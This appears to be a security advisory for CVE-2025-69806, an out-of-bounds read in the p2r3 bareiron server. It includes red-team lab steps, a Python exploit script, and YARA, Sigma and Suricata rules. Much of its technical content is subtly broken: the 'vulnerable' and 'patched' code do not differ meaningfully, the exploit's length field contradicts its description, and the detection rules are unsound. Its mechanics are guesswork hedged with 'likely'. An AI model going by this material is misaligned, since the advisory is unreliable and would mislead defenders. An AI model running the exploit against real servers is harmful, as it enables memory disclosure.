CVE-2025-69806

Executive Summary

CVE-2025-69806 is an out-of-bounds read vulnerability in the p2r3 bareiron server, specifically in commit 8e4d4020d. This flaw allows an unauthenticated remote attacker to trigger a read beyond the allocated buffer by sending a crafted packet to the server, leading to relative information leakage. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the technical impact is significant for confidentiality. No public exploit code or patch is currently available, and the vendor status is unknown/unpatched.

Supply Chain & Package Security

This vulnerability affects a custom server application (p2r3 bareiron) and is not associated with any public package registry (NPM, PyPI, Go, Ruby). The risk is limited to organizations that deploy this specific software in their environment.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – relative information leakage
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: Medium (due to unauthenticated remote exploitation and potential for information disclosure)

Deep Dive & Mechanics

The vulnerability resides in the p2r3 bareiron server at commit 8e4d4020d. The server fails to properly validate the length of incoming packets before reading data into a fixed-size buffer. By sending a packet with a crafted length field that exceeds the buffer size, an attacker can cause the server to read memory beyond the intended boundary. This out-of-bounds read leaks adjacent memory contents, which may include sensitive data such as session tokens, internal IP addresses, or other application secrets.

The root cause is a missing bounds check in the packet parsing routine. The server likely uses a function like recv() or read() without verifying that the received data length does not exceed the allocated buffer size. The leaked data is then echoed back or processed in a way that reveals it to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (commit 8e4d4020d):

// Vulnerable: no bounds check on packet length
void handle_packet(int sock) {
    char buf[1024];
    int len = recv(sock, buf, sizeof(buf), 0);
    // Process packet without checking len against buf size
    process_data(buf, len);
}

Patched Code (hypothetical fix):

// Patched: validate packet length before reading
void handle_packet(int sock) {
    char buf[1024];
    int len = recv(sock, buf, sizeof(buf), 0);
    if (len < 0 || len > sizeof(buf)) {
        // Reject oversized packet
        return;
    }
    process_data(buf, len);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of p2r3 bareiron (commit 8e4d4020d) on a Linux VM.
2. Use a tool like netcat or a custom Python script to send a crafted packet.

Exploitation Steps:

1. Identify the server IP and port (default likely 8080).
2. Craft a packet with a length field larger than the buffer (e.g., 2048 bytes).
3. Send the packet to the server.
4. Observe the response for leaked memory data.

Example Python Exploit:

import socket

target_ip = "192.168.1.100"
target_port = 8080

# Craft a packet with oversized length field
payload = b"\x00\x08"  # Example length field (8 bytes)
payload += b"A" * 2048  # Oversized data

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
response = sock.recv(4096)
print("Leaked data:", response)
sock.close()

Blue Team

Detection Steps:

1. Monitor for unusually large packets sent to the server port.
2. Look for server responses containing unexpected binary data or memory artifacts.
3. Use network intrusion detection systems (NIDS) to flag out-of-bounds read attempts.

Mitigation:

• Apply input validation on packet length before processing.
• Use memory-safe languages or bounds-checking libraries.
• Restrict network access to the server using firewalls.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Packets with length fields exceeding 1024 bytes sent to port 8080.
  • Server responses containing non-ASCII or random binary data.
• File IOCs:
  • Log entries showing recv errors or segmentation faults.
• System IOCs:
  • Unexpected memory dumps or core files in the server directory.

Detection Engineering

YARA Rule

rule CVE_2025_69806_OutOfBoundsRead {
    meta:
        description = "Detects out-of-bounds read attempts against p2r3 bareiron server"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-69806"
    strings:
        $s1 = "p2r3" ascii wide nocase
        $s2 = "bareiron" ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: CVE-2025-69806 Out-of-Bounds Read Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized packets sent to p2r3 bareiron server
author: Valters IT
date: 2025-01-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 8080
        packet_length: >1024
    condition: selection
falsepositives:
    - Legitimate large packets (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2025-69806 Out-of-Bounds Read Attempt"; flow:to_server; content:"|00 08|"; depth:2; byte_test:2,>,1024,0,relative; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:
   • Disable or isolate the vulnerable server until a patch is applied.
   • Implement network-level filtering to block oversized packets.
2. Long-term Fix:
   • Apply input validation on packet length before processing.
   • Upgrade to a patched version of p2r3 bareiron if available.
3. Compensating Controls:
   • Use a Web Application Firewall (WAF) to inspect and block malicious packets.
   • Enable memory protection mechanisms (ASLR, DEP) on the server.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert